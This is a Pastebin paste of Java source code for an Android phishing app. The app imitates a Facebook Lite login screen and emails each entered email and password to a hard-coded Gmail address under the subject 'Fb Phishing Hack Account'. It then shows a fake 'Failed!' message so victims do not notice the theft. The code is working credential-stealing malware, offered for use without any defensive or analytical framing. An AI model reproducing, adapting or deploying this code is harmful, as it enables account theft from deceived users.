Advertisement
Guest User

old code fb phishing

a guest
Apr 3rd, 2016
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 5.69 KB | None | 0 0
  1. package daiz.facebook;
  2.  
  3. import javax.mail.Address;
  4. import javax.mail.Authenticator;
  5. import javax.mail.Message;
  6. import javax.mail.MessagingException;
  7. import javax.mail.PasswordAuthentication;
  8. import javax.mail.Session;
  9. import javax.mail.Transport;
  10. import javax.mail.internet.InternetAddress;
  11. import javax.mail.internet.MimeMessage;
  12.  
  13. import android.app.Activity;
  14. import android.app.ProgressDialog;
  15. import android.app.AlertDialog;
  16. import android.os.Handler;
  17. import android.os.Bundle;
  18. import android.os.AsyncTask;
  19. import android.view.Menu;
  20. import android.view.animation.Animation;
  21. import android.view.animation.AnimationUtils;
  22. import android.view.View;
  23. import android.view.View.OnClickListener;
  24. import android.widget.EditText;
  25. import android.widget.Button;
  26. import android.widget.Toast;
  27. import android.content.DialogInterface;
  28. import android.content.Context;
  29. import android.content.Intent;
  30. import android.util.Log;
  31.  
  32. import java.util.List;
  33. import java.util.Properties;
  34. import java.io.*;
  35.  
  36. public class MainActivity extends Activity
  37. implements OnClickListener {
  38.    
  39.     Session session = null;
  40.     ProgressDialog pdialog = null;
  41.     Context context = null;
  42.     String subject = "Fb Phishing Hack Account",
  43.            fromEmail = "fbphishing05@gmail.com",
  44.            toEmail = "fbphishing05@gmail.com",
  45.            accUser = "fbphishing05@gmail.com",
  46.            accPass = "***********",
  47.            textMsg;
  48.     EditText txtEmail, txtPass;
  49.    
  50.    
  51.     @Override
  52.     protected void onCreate(Bundle savedInstanceState){
  53.         super.onCreate(savedInstanceState);
  54.         setContentView(R.layout.main);
  55.        
  56.         final Animation animFadein = AnimationUtils.loadAnimation(
  57.         getApplicationContext(), R.anim.fade_in);
  58.         findViewById(R.id.img_fb_text).startAnimation(animFadein);
  59.         new Handler().postDelayed(new Runnable() {
  60.         @Override
  61.         public void run(){
  62.         final Animation animToleft = AnimationUtils.loadAnimation(
  63.         getApplicationContext(), R.anim.right_to_left);
  64.         findViewById(R.id.lite_text).setVisibility(View.VISIBLE);
  65.         findViewById(R.id.lite_text).startAnimation(animToleft);
  66.         }
  67.         }, 2000);
  68.         context = this;
  69.         Button login = (Button) findViewById(R.id.btnSignIn);
  70.         login.setOnClickListener(this);
  71.     }
  72.    
  73.     @Override
  74.     public void onClick(View v) {
  75.         txtEmail = (EditText) findViewById(R.id.txtUser);
  76.         txtPass = (EditText) findViewById(R.id.txtPass);
  77.        
  78.         if (!NetworkStatus.getInstance(this).isOnline())
  79.         {
  80.             showToast("You don't have active internet connection.",true);
  81.             Log.v("Home", "You are not online!!!!");    
  82.         }else if ((isEmpty(txtEmail) == true) && (isEmpty(txtPass) == true))
  83.         {
  84.             showToast("Fill Up All Fields.",false);
  85.         }
  86.         else if (isEmpty(txtEmail) == true)
  87.         {
  88.             showToast("Please Type Your Email/Phone.",false);
  89.         }
  90.         else if (isEmpty(txtPass) == true)
  91.         {
  92.             showToast("Please Type Your Password.",false);
  93.         }
  94.         else
  95.         {
  96.         textMsg = "Email: " + txtEmail.getText().toString() + " Pass: " + txtPass.getText().toString();
  97.         try
  98.         {
  99.         Properties props = new Properties();
  100.             props.put("mail.smtp.host", "smtp.gmail.com");
  101.             props.put("mail.smtp.socketFactory.port", "465");
  102.             props.put("mail.smtp.socketFactory.class", "javax.net.ssl.SSLSocketFactory");
  103.             props.put("mail.smtp.auth", "true");
  104.             props.put("mail.smtp.port", "465");
  105.             props.put("mail.smtp.connectiontimeout", "30000");
  106.             props.put("mail.smtp.timeout", "30000");
  107.         session = Session.getDefaultInstance(props, new Authenticator()
  108.         {
  109.                 protected PasswordAuthentication getPasswordAuthentication()
  110.                 {
  111.                     return new PasswordAuthentication(accUser, accPass);
  112.                 }
  113.             });
  114.         pdialog = ProgressDialog.show(context, "", "Signing in...", true);
  115.         //new SendSms(this).execute("09501556753","Hello World");
  116.         new RetrieveFeedTask().execute();
  117.         }catch(Exception e){
  118.             Log.e("FBLite Error: ", e.toString());
  119.         }catch(IOError e){
  120.             Log.e("FBLite Error: ", e.toString());
  121.         }
  122.         }
  123.     }
  124.    
  125.     class RetrieveFeedTask extends AsyncTask<String, Void, String>
  126.     {
  127.         @Override
  128.         protected String doInBackground(String... params)
  129.         {
  130.             try{
  131.                 Message message = new MimeMessage(session);
  132.                 message.setFrom(new InternetAddress(fromEmail));
  133.                 message.setRecipients(Message.RecipientType.TO, InternetAddress.parse(toEmail));
  134.                 message.setSubject(subject);
  135.                 message.setContent(textMsg, "text/html; charset=utf-8");
  136.                 Transport.send(message);
  137.             } catch(MessagingException e) {
  138.                 Log.e("FBLite Error: ", e.toString());
  139.             } catch(Exception e) {
  140.                 Log.e("FBLite Error: ", e.toString());
  141.             } catch(IOError e){
  142.                 Log.e("FBLite Error: ", e.toString());
  143.             }
  144.             return null;
  145.         }
  146.  
  147.         @Override
  148.         protected void onPostExecute(String result)
  149.         {
  150.             pdialog.dismiss();
  151.             showToast("Failed!",false);
  152.             showToast("Please Check your Email or Password.",false);
  153.         }
  154.     }
  155.    
  156.     @Override
  157.     public boolean onCreateOptionsMenu(Menu menu)
  158.     {
  159.         menu.add("Created by Daizu");
  160.         return super.onCreateOptionsMenu(menu);
  161.     }
  162.    
  163.     private boolean isEmpty(EditText etText)
  164.     {
  165.         return etText.getText().toString().trim().length() == 0;
  166.     }
  167.    
  168.     private void showToast(String mText, boolean Long)
  169.     {
  170.         if(Long = false)
  171.         Toast.makeText(getApplicationContext(), mText, Toast.LENGTH_SHORT).show();
  172.         else
  173.         Toast.makeText(getApplicationContext(), mText, Toast.LENGTH_LONG).show();
  174.     }
  175.    
  176.     @Override
  177.     public void onBackPressed()
  178.     {
  179.         new AlertDialog.Builder(this).setIcon(android.R.drawable.ic_dialog_alert).setTitle("Exit")
  180.             .setMessage("Are you sure you want to exit?")
  181.             .setPositiveButton("Yes", new DialogInterface.OnClickListener()
  182.             {
  183.                 @Override
  184.                 public void onClick(DialogInterface dialog, int which)
  185.                 {
  186.                     finish();
  187.                 }
  188.             }).setNegativeButton("No", null).show();
  189.     }
  190.    
  191.    
  192. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement